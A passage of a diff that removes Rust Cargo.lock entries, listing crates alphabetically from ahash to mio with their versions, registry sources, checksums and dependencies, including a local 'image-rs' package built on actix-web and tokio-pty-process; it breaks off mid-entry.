-name = "ahash"
-version = "0.8.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e89da841a80418a9b391ebaea17f5c112ffaaa96f621d2c285b5174da76b9011"
-dependencies = [
- "cfg-if 1.0.0",
- "getrandom",
- "once_cell",
- "version_check",
- "zerocopy",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "alloc-no-stdlib"
-version = "2.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3"
-
-[[package]]
-name = "alloc-stdlib"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece"
-dependencies = [
- "alloc-no-stdlib",
-]
-
-[[package]]
-name = "anstream"
-version = "0.6.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
-dependencies = [
- "anstyle",
- "anstyle-parse",
- "anstyle-query",
- "anstyle-wincon",
- "colorchoice",
- "is_terminal_polyfill",
- "utf8parse",
-]
-
-[[package]]
-name = "anstyle"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
-
-[[package]]
-name = "anstyle-parse"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
-dependencies = [
- "utf8parse",
-]
-
-[[package]]
-name = "anstyle-query"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "anstyle-wincon"
-version = "3.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
-dependencies = [
- "anstyle",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.86"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da"
-
-[[package]]
-name = "autocfg"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
-
-[[package]]
-name = "backtrace"
-version = "0.3.72"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17c6a35df3749d2e8bb1b7b21a976d82b15548788d2735b9d82f329268f71a11"
-dependencies = [
- "addr2line",
- "cc",
- "cfg-if 1.0.0",
- "libc",
- "miniz_oxide",
- "object",
- "rustc-demangle",
-]
-
-[[package]]
-name = "base64"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ea22880d78093b0cbe17c89f64a7d457941e65759157ec6cb31a31d652b05e5"
-
-[[package]]
-name = "base64"
-version = "0.22.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf4b9d6a944f767f8e5e0db018570623c85f3d925ac718db4e06d0187adb21c1"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "brotli"
-version = "6.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74f7971dbd9326d58187408ab83117d8ac1bb9c17b085fdacd1cf2f598719b6b"
-dependencies = [
- "alloc-no-stdlib",
- "alloc-stdlib",
- "brotli-decompressor",
-]
-
-[[package]]
-name = "brotli-decompressor"
-version = "4.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a45bd2e4095a8b518033b128020dd4a55aab1c0a381ba4404a472630f4bc362"
-dependencies = [
- "alloc-no-stdlib",
- "alloc-stdlib",
-]
-
-[[package]]
-name = "byteorder"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
-
-[[package]]
-name = "bytes"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "206fdffcfa2df7cbe15601ef46c813fce0965eb3286db6b56c583b814b51c81c"
-dependencies = [
- "byteorder",
- "iovec",
-]
-
-[[package]]
-name = "bytes"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "514de17de45fdb8dc022b1a7975556c53c86f9f0aa5f534b98977b171857c2c9"
-
-[[package]]
-name = "bytestring"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74d80203ea6b29df88012294f62733de21cfeab47f17b41af3a38bc30a03ee72"
-dependencies = [
- "bytes 1.6.0",
-]
-
-[[package]]
-name = "cc"
-version = "1.0.99"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96c51067fd44124faa7f870b4b1c969379ad32b2ba805aa959430ceaa384f695"
-dependencies = [
- "jobserver",
- "libc",
- "once_cell",
-]
-
-[[package]]
-name = "cfg-if"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "cipher"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
-dependencies = [
- "crypto-common",
- "inout",
-]
-
-[[package]]
-name = "cloudabi"
-version = "0.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f"
-dependencies = [
- "bitflags 1.3.2",
-]
-
-[[package]]
-name = "colorchoice"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
-
-[[package]]
-name = "convert_case"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e"
-
-[[package]]
-name = "cookie"
-version = "0.16.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e859cd57d0710d9e06c381b550c06e76992472a8c6d527aecd2fc673dcc231fb"
-dependencies = [
- "aes-gcm",
- "base64 0.20.0",
- "hkdf",
- "hmac",
- "percent-encoding",
- "rand",
- "sha2",
- "subtle",
- "time",
- "version_check",
-]
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crc32fast"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33480d6946193aa8033910124896ca395333cae7e2d1113d1fef6c3272217df2"
-dependencies = [
- "crossbeam-utils 0.8.20",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c20ff29ded3204c5106278a81a38f4b482636ed4fa1e6cfbeef193291beb29ed"
-dependencies = [
- "crossbeam-epoch",
- "crossbeam-utils 0.7.2",
- "maybe-uninit",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "058ed274caafc1f60c4997b5fc07bf7dc7cca454af7c6e81edffe5f33f70dace"
-dependencies = [
- "autocfg",
- "cfg-if 0.1.10",
- "crossbeam-utils 0.7.2",
- "lazy_static",
- "maybe-uninit",
- "memoffset",
- "scopeguard",
-]
-
-[[package]]
-name = "crossbeam-queue"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "774ba60a54c213d409d5353bda12d49cd68d14e45036a285234c8d6f91f92570"
-dependencies = [
- "cfg-if 0.1.10",
- "crossbeam-utils 0.7.2",
- "maybe-uninit",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
-dependencies = [
- "autocfg",
- "cfg-if 0.1.10",
- "lazy_static",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80"
-
-[[package]]
-name = "crypto-common"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-dependencies = [
- "generic-array",
- "rand_core",
- "typenum",
-]
-
-[[package]]
-name = "ctr"
-version = "0.9.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
-dependencies = [
- "cipher",
-]
-
-[[package]]
-name = "deranged"
-version = "0.3.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"
-dependencies = [
- "powerfmt",
-]
-
-[[package]]
-name = "derive_more"
-version = "0.99.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321"
-dependencies = [
- "convert_case",
- "proc-macro2",
- "quote",
- "rustc_version 0.4.0",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "digest"
-version = "0.10.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
-dependencies = [
- "block-buffer",
- "crypto-common",
- "subtle",
-]
-
-[[package]]
-name = "displaydoc"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "487585f4d0c6655fe74905e2504d8ad6908e4db67f744eb140876906c2f3175d"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "encoding_rs"
-version = "0.8.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b45de904aa0b010bce2ab45264d0631681847fa7b6f2eaa7dab7619943bc4f59"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "env_filter"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a009aa4810eb158359dda09d0c87378e4bbb89b5a801f016885a4707ba24f7ea"
-dependencies = [
- "log",
- "regex",
-]
-
-[[package]]
-name = "env_logger"
-version = "0.11.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38b35839ba51819680ba087cd351788c9a3c476841207e0b8cee0b04722343b9"
-dependencies = [
- "anstream",
- "anstyle",
- "env_filter",
- "humantime",
- "log",
-]
-
-[[package]]
-name = "equivalent"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
-
-[[package]]
-name = "flate2"
-version = "1.0.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f54427cfd1c7829e2a139fcefea601bf088ebca651d2bf53ebc600eac295dae"
-dependencies = [
- "crc32fast",
- "miniz_oxide",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "fuchsia-zircon"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
-dependencies = [
- "bitflags 1.3.2",
- "fuchsia-zircon-sys",
-]
-
-[[package]]
-name = "fuchsia-zircon-sys"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
-
-[[package]]
-name = "futures"
-version = "0.1.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3a471a38ef8ed83cd6e40aa59c1ffe17db6855c18e3604d9c4ed8c08ebc28678"
-
-[[package]]
-name = "futures"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-io",
- "futures-sink",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78"
-dependencies = [
- "futures-core",
- "futures-sink",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1"
-
-[[package]]
-name = "futures-macro"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5"
-
-[[package]]
-name = "futures-task"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004"
-
-[[package]]
-name = "futures-util"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-macro",
- "futures-sink",
- "futures-task",
- "memchr",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "wasi",
-]
-
-[[package]]
-name = "ghash"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1"
-dependencies = [
- "opaque-debug",
- "polyval",
-]
-
-[[package]]
-name = "gimli"
-version = "0.29.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "40ecd4077b5ae9fd2e9e169b102c6c330d0605168eb0e8bf79952b256dbefffd"
-
-[[package]]
-name = "h2"
-version = "0.3.26"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81fe527a889e1532da5c525686d96d4c2e74cdd345badf8dfef9f6b39dd5f5e8"
-dependencies = [
- "bytes 1.6.0",
- "fnv",
- "futures-core",
- "futures-sink",
- "futures-util",
- "http",
- "indexmap",
- "slab",
- "tokio 1.38.0",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.14.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
-
-[[package]]
-name = "hkdf"
-version = "0.12.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7"
-dependencies = [
- "hmac",
-]
-
-[[package]]
-name = "hmac"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
-dependencies = [
- "digest",
-]
-
-[[package]]
-name = "http"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1"
-dependencies = [
- "bytes 1.6.0",
- "fnv",
- "itoa",
-]
-
-[[package]]
-name = "httparse"
-version = "1.9.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f3935c160d00ac752e09787e6e6bfc26494c2183cc922f1bc678a60d4733bc2"
-
-[[package]]
-name = "httpdate"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
-
-[[package]]
-name = "humantime"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
-
-[[package]]
-name = "icu_collections"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526"
-dependencies = [
- "displaydoc",
- "yoke",
- "zerofrom",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637"
-dependencies = [
- "displaydoc",
- "litemap",
- "tinystr",
- "writeable",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid_transform"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e"
-dependencies = [
- "displaydoc",
- "icu_locid",
- "icu_locid_transform_data",
- "icu_provider",
- "tinystr",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid_transform_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdc8ff3388f852bede6b579ad4e978ab004f139284d7b28715f773507b946f6e"
-
-[[package]]
-name = "icu_normalizer"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f"
-dependencies = [
- "displaydoc",
- "icu_collections",
- "icu_normalizer_data",
- "icu_properties",
- "icu_provider",
- "smallvec 1.13.2",
- "utf16_iter",
- "utf8_iter",
- "write16",
- "zerovec",
-]
-
-[[package]]
-name = "icu_normalizer_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8cafbf7aa791e9b22bec55a167906f9e1215fd475cd22adfcf660e03e989516"
-
-[[package]]
-name = "icu_properties"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f8ac670d7422d7f76b32e17a5db556510825b29ec9154f235977c9caba61036"
-dependencies = [
- "displaydoc",
- "icu_collections",
- "icu_locid_transform",
- "icu_properties_data",
- "icu_provider",
- "tinystr",
- "zerovec",
-]
-
-[[package]]
-name = "icu_properties_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67a8effbc3dd3e4ba1afa8ad918d5684b8868b3b26500753effea8d2eed19569"
-
-[[package]]
-name = "icu_provider"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9"
-dependencies = [
- "displaydoc",
- "icu_locid",
- "icu_provider_macros",
- "stable_deref_trait",
- "tinystr",
- "writeable",
- "yoke",
- "zerofrom",
- "zerovec",
-]
-
-[[package]]
-name = "icu_provider_macros"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "idna"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4716a3a0933a1d01c2f72450e89596eb51dd34ef3c211ccd875acdf1f8fe47ed"
-dependencies = [
- "icu_normalizer",
- "icu_properties",
- "smallvec 1.13.2",
- "utf8_iter",
-]
-
-[[package]]
-name = "image-rs"
-version = "0.1.0"
-dependencies = [
- "actix",
- "actix-session",
- "actix-web",
- "actix-web-actors",
- "env_logger",
- "futures 0.3.30",
- "futures-util",
- "log",
- "mio 1.0.0",
- "serde",
- "tokio 1.38.0",
- "tokio-pty-process",
- "tokio-util",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.2.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "168fb715dda47215e360912c096649d23d58bf392ac62f73919e831745e40f26"
-dependencies = [
- "equivalent",
- "hashbrown",
-]
-
-[[package]]
-name = "inout"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "iovec"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "is_terminal_polyfill"
-version = "1.70.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
-
-[[package]]
-name = "itoa"
-version = "1.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
-
-[[package]]
-name = "jobserver"
-version = "0.1.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2b099aaa34a9751c5bf0878add70444e1ed2dd73f347be99003d4577277de6e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "kernel32-sys"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "language-tags"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4345964bb142484797b161f473a503a434de77149dd8c7427788c6e13379388"
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "libc"
-version = "0.2.155"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
-
-[[package]]
-name = "litemap"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "643cb0b8d4fcc284004d5fd0d67ccf61dfffadb7f75e1e71bc420f4688a3a704"
-
-[[package]]
-name = "local-channel"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6cbc85e69b8df4b8bb8b89ec634e7189099cea8927a276b7384ce5488e53ec8"
-dependencies = [
- "futures-core",
- "futures-sink",
- "local-waker",
-]
-
-[[package]]
-name = "local-waker"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4d873d7c67ce09b42110d801813efbc9364414e356be9935700d368351657487"
-
-[[package]]
-name = "lock_api"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4da24a77a3d8a6d4862d95f72e6fdb9c09a643ecdb402d754004a557f2bec75"
-dependencies = [
- "scopeguard",
-]
-
-[[package]]
-name = "lock_api"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
-dependencies = [
- "autocfg",
- "scopeguard",
-]
-
-[[package]]
-name = "log"
-version = "0.4.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c"
-
-[[package]]
-name = "maybe-uninit"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
-
-[[package]]
-name = "memchr"
-version = "2.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c8640c5d730cb13ebd907d8d04b52f55ac9a2eec55b440c8892f40d56c76c1d"
-
-[[package]]
-name = "memoffset"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "043175f069eda7b85febe4a74abbaeff828d9f8b448515d3151a14a3542811aa"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
-
-[[package]]
-name = "miniz_oxide"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87dfd01fe195c66b572b37921ad8803d010623c0aca821bea2302239d155cdae"
-dependencies = [
- "adler",
-]
-
-[[package]]
-name = "mio"
-version = "0.6.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4"
-dependencies = [
- "cfg-if 0.1.10",
- "fuchsia-zircon",
- "fuchsia-zircon-sys",
- "iovec",
- "kernel32-sys",
- "libc",
- "log",
- "miow",
- "net2",
- "slab",
- "winapi 0.2.8",
-]
-
-[[package]]
-name = "mio"
-version = "0.8.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
-dependencies = [
- "libc",
- "log",
- "wasi",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "mio"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
